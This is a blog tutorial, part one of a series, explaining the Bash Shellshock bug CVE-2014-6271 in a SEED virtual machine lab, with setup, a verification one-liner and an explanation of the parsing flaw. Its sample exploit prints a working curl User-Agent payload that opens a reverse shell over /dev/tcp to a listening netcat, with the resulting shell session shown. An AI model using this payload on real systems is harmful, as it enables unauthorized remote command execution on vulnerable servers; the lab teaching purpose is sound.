Exploit — Bash Shellshock Part 1

ka1d0
7 min readFeb 24, 2019

--

In September 2014, when a single security bug in Bash was disclosed there was chaos in the security community. This bug allowed attackers to escalate privileges and execute arbitrary code on a remote machine. It affected most versions of Linux and UNIX-based OSes and (obviously) was considered a critical vulnerability.

This bug is described in CVE-2014–6271. It was patched immediately which led to another bug, CVE-2014–7169. This bug was patched, which led to another bug, CVE-2014–6277 and it was eventually patched as well.

In this first part of a three-part series, we’re going to look at the first vulnerability, CVE-2014–6271 and get a better understanding of it.

Credits: I’ve learnt about this exploit in a course, ENPM697 at the University of Maryland, College Park. Some of the examples used in this article belong to the course resources prepared by Professor Dharmalingam Ganesan.

Lab Setup

The Shellshock family of security bugs were first discovered in 2014 and they were patched in the later Bash versions. Obviously, it is not possible to use the current Bash version to demonstrate the exploit; we need the vulnerable Bash version. We also need two Virtual Machines; one of which will serve as a local machine and the other as the remote machine.

Getting the Vulnerable Bash Version

There are two ways to get the vulnerable Bash version:

  1. Use the SEED VM setup, or
  2. Manually install the vulnerable Bash version.

SEED VM

Use the SEED VM setup of Dr. Wenliang Du from http://www.cis.syr.edu/~wedu/seed/lab_env.html. This setup already has the vulnerable Bash version installed and is named bash_shellshock.

Note: I’ll be using the SEED VM setup while demonstrating the exploit.

Manual Installation

If you want to manually install the vulnerable Bash version, then follow the steps below:

Step 1: Download the vulnerable version of bash from https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz. Any version published before September 2014 is okay.

nikhilh@ubuntu:~/Downloads$ wget https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
— 2019–02–19 20:46:54 — https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
Resolving ftp.gnu.org (ftp.gnu.org)… 209.51.188.20
Connecting to ftp.gnu.org (ftp.gnu.org)|209.51.188.20|:443… connected.
HTTP request sent, awaiting response… 200 OK
Length: 7955839 (7.6M) [application/x-gzip]
Saving to: ‘bash-4.3.tar.gz’

bash-4.3.tar.gz 100%[===========================================================================================>] 7.59M 11.3MB/s in 0.7s

2019–02–19 20:46:55 (11.3 MB/s) — ‘bash-4.3.tar.gz’ saved [7955839/7955839]

Step 2: Extract it into a local directory.

nikhilh@ubuntu:~/Downloads$ tar -xvf bash-4.3.tar.gz
bash-4.3/
bash-4.3/CWRU/
bash-4.3/CWRU/misc/
bash-4.3/CWRU/misc/open-files.c

bash-4.3/y.tab.h
bash-4.3/parser-built
bash-4.3/pathnames.h.in

Step 3: Configure and build.

nikhilh@ubuntu:~/Downloads/bash-4.3$ ./configure && make
checking build system type… x86_64-unknown-linux-gnu
checking host system type… x86_64-unknown-linux-gnu

Beginning configuration for bash-4.3-release for x86_64-unknown-linux-gnu

-rwxr-xr-x 1 nikhilh nikhilh 4548336 Feb 19 20:52 bash
size bash
text data bss dec hex filename
1044851 46696 23408 1114955 11034b bash

Step 4: Create a symlink in the /bin directory pointing to the installed vulnerable Bash program.

nikhilh@ubuntu:/bin$ sudo ln -s /home/nikhilh/Downloads/bash-4.3/bash bash_shellshock
nikhilh@ubuntu:/bin$ ls -l bash*
-rwxr-xr-x 1 root root 1113504 Apr 4 2018 bash
lrwxrwxrwx 1 root root 37 Feb 19 20:54 bash_shellshock -> /home/nikhilh/Downloads/bash-4.3/bash

Verify Vulnerability Existence

Hopefully, you were able to get the vulnerable Bash program from one of the above methods. Let’s verify that the installed Bash version contains CVE-2014–6271. Execute the following command:

SEED VM:

[02/20/19]seed@VM:~$ env x=’() { :;}; echo Oh No!’ bash_shellshock -c “echo Testing!”
Oh No!
Testing!

Non-SEED VM:

nikhilh@ubuntu:~$ env x=’() { :;}; echo Oh No!’ bash_shellshock -c “echo Testing!”
Oh No!
Testing!

If you have the vulnerable version, the output of the command would contain the string Oh No!, else it would just be Testing!.

SEED VM:

[02/20/19]seed@VM:~$ env x=’() { :;}; echo Oh No!’ bash -c “echo Testing!”
Testing!

Non-SEED VM:

nikhilh@ubuntu:~$ env x=’() { :;}; echo Oh No!’ bash -c “echo Testing!”
Testing!

Cause of the Vulnerability

The cause of the vulnerability lies in a loophole in the Bash algorithm which parses the values of environment variables. According to CVE-2014–6271, the vulnerable Bash version “processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment”.

If you’re interested in looking at the source code where the vulnerability lies, read this article: https://security.stackexchange.com/questions/68448/where-is-bash-shellshock-vulnerability-in-source-code.

In general, it is possible to store a function definition in an environment variable in Bash and then execute it. This in itself is not a vulnerability because we must call the environment variable as a command to execute the function definition:

[02/21/19]seed@VM:~$ env x=’() { echo hello; };’ bash_shellshock -c “echo hi”
hi

[02/20/19]seed@VM:~$ env x=’() { echo hello; };’ bash_shellshock -c “x”
hello
[02/20/19]seed@VM:~$

However, the parsing algorithm in Bash had a loophole. In a carefully crafted string, it was possible to execute arbitrary commands without calling the environment variable as a command. This is a vulnerability because variables are not expected, by themselves, to directly cause the execution of code contained in them.

The following is the environment variable-value pair that we used before to verify the existence of CVE-2014–6271:

x=’() { :;}; echo Oh No!’

Ideally, this should have stored the value, ‘() { :;}; echo Oh No!’ in the environment variable x as a string because it doesn’t satisfy the rules of a correct function definition. The following is the behavior in the current Bash version:

[02/20/19]seed@VM:~$ x=’() { :;}; echo hello world’
[02/20/19]seed@VM:~$ export x
[02/20/19]seed@VM:~$ bash
[02/20/19]seed@VM:~$ echo $x
() { :;}; echo hello world

However, the loophole in the vulnerable Bash program’s parsing algorithm caused two events:

  1. The function definition part of the string was interpreted correctly as a function definition.
  2. The trailing strings after the function definition were automatically executed.

[02/20/19]seed@VM:~$ x=’() { :;}; echo hello world’
[02/20/19]seed@VM:~$ export x
[02/20/19]seed@VM:~$ bash_shellshock
hello world
[02/20/19]seed@VM:~$ echo $x

[02/20/19]seed@VM:~$ declare -f x
x ()
{
:
}

Notice that this loophole can enable the attacker to put in malicious strings after the function definition and they would be executed automatically when a vulnerable Bash program parses the environment variables.

Sample Exploit

I have two SEED VMs, one of which will serve as the local machine and the other as the remote machine (maybe a web server). The IP address of the local VM is 10.0.2.6 and that of the remote VM is 10.0.2.7.

Our goal is to get a reverse shell (basically, a backdoor) from the remote machine back to our local machine on port, say 9090. To this end, we must get the remote machine to execute malicious code that will be stored in one of its environment variables using the Bash Shellshock exploit.

Step 1: The name of a script on the remote machine which uses Bash to execute.

In this case, I’ve created a .cgi script with a Bash shebang.

[02/21/19]seed@VM:…/cgi-bin$ pwd
/usr/lib/cgi-bin

[02/21/19]seed@VM:…/cgi-bin$ ls -l
total 4
-rwxr-xr-x 1 root root 149 Feb 20 23:39 test.cgi

[02/20/19]seed@VM:~$ cat /usr/lib/cgi-bin/test.cgi
#! /bin/bash_shellshock

echo “Content-type: text/plain”
echo
echo
echo “Hello World”

Step 2: Retrieve the contents of the .cgi script through curl.

The User-Agent value used in curl is stored as an environment variable on the remote machine. By default, this is set to HTTP_USER_AGENT=curl/7.47.0 when using curl. However, this value can be modified using the -A flag. We will store malicious code that sets up a reverse shell inside this environment variable.

-A “() { echo hello; }; echo; /bin/bash_shellshock -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1”

Step 3: Open a netcat session on port 9090 that will wait for a connection from the remote machine.

[02/20/19]seed@VM:~$ nc -l 9090 -v
Listening on [0.0.0.0] (family 0, port 9090)

Exploit Time!

Execute the following command on the local machine:

[02/20/19]seed@VM:~$ curl -A “() { echo hello; }; echo; /bin/bash_shellshock -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1” http://10.0.2.7/cgi-bin/test.cgi

Have a look at the terminal running the netcat session.

[02/20/19]seed@VM:~$ nc -l 9090 -v
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.7] port 9090 [tcp/*] accepted (family 2, sport 49036)
bash_shellshock: no job control in this shell
bash_shellshock-4.2$

Notice that the netcat session is now pointing to the remote machine’s command line terminal!

bash_shellshock: no job control in this shell

bash_shellshock-4.2$ whoami
whoami
www-data

bash_shellshock-4.2$ ls
ls
test.cgi

bash_shellshock-4.2$ cat test.cgi
cat test.cgi
#! /bin/bash_shellshock

echo “Content-type: text/plain”
echo
echo
echo “Hello World”

echo “** Environment Variables *** “
strings /proc/$$/environ

At this point, the attacker would have taken user-level control of the remote machine.

The www-data user is the default user under which the Apache web server on the Ubuntu remote machine is running on. If it were running under root user, the attacker would have root privileges and would be in complete control!

Done!

The Bash Shellshock family of vulnerabilities are one of those exploits which require almost zero knowledge to execute. This makes them all the more dangerous because anyone can exploit systems and execute destructive commands.

In the next part of this series, we’ll look at CVE-2014–7169 which was caused because of an incomplete fix to CVE-2014–6271. Thank you for reading! If you have any questions, leave them in the comments section below and I’ll get back to you as soon as I can!

--

--

ka1d0
ka1d0

Responses (3)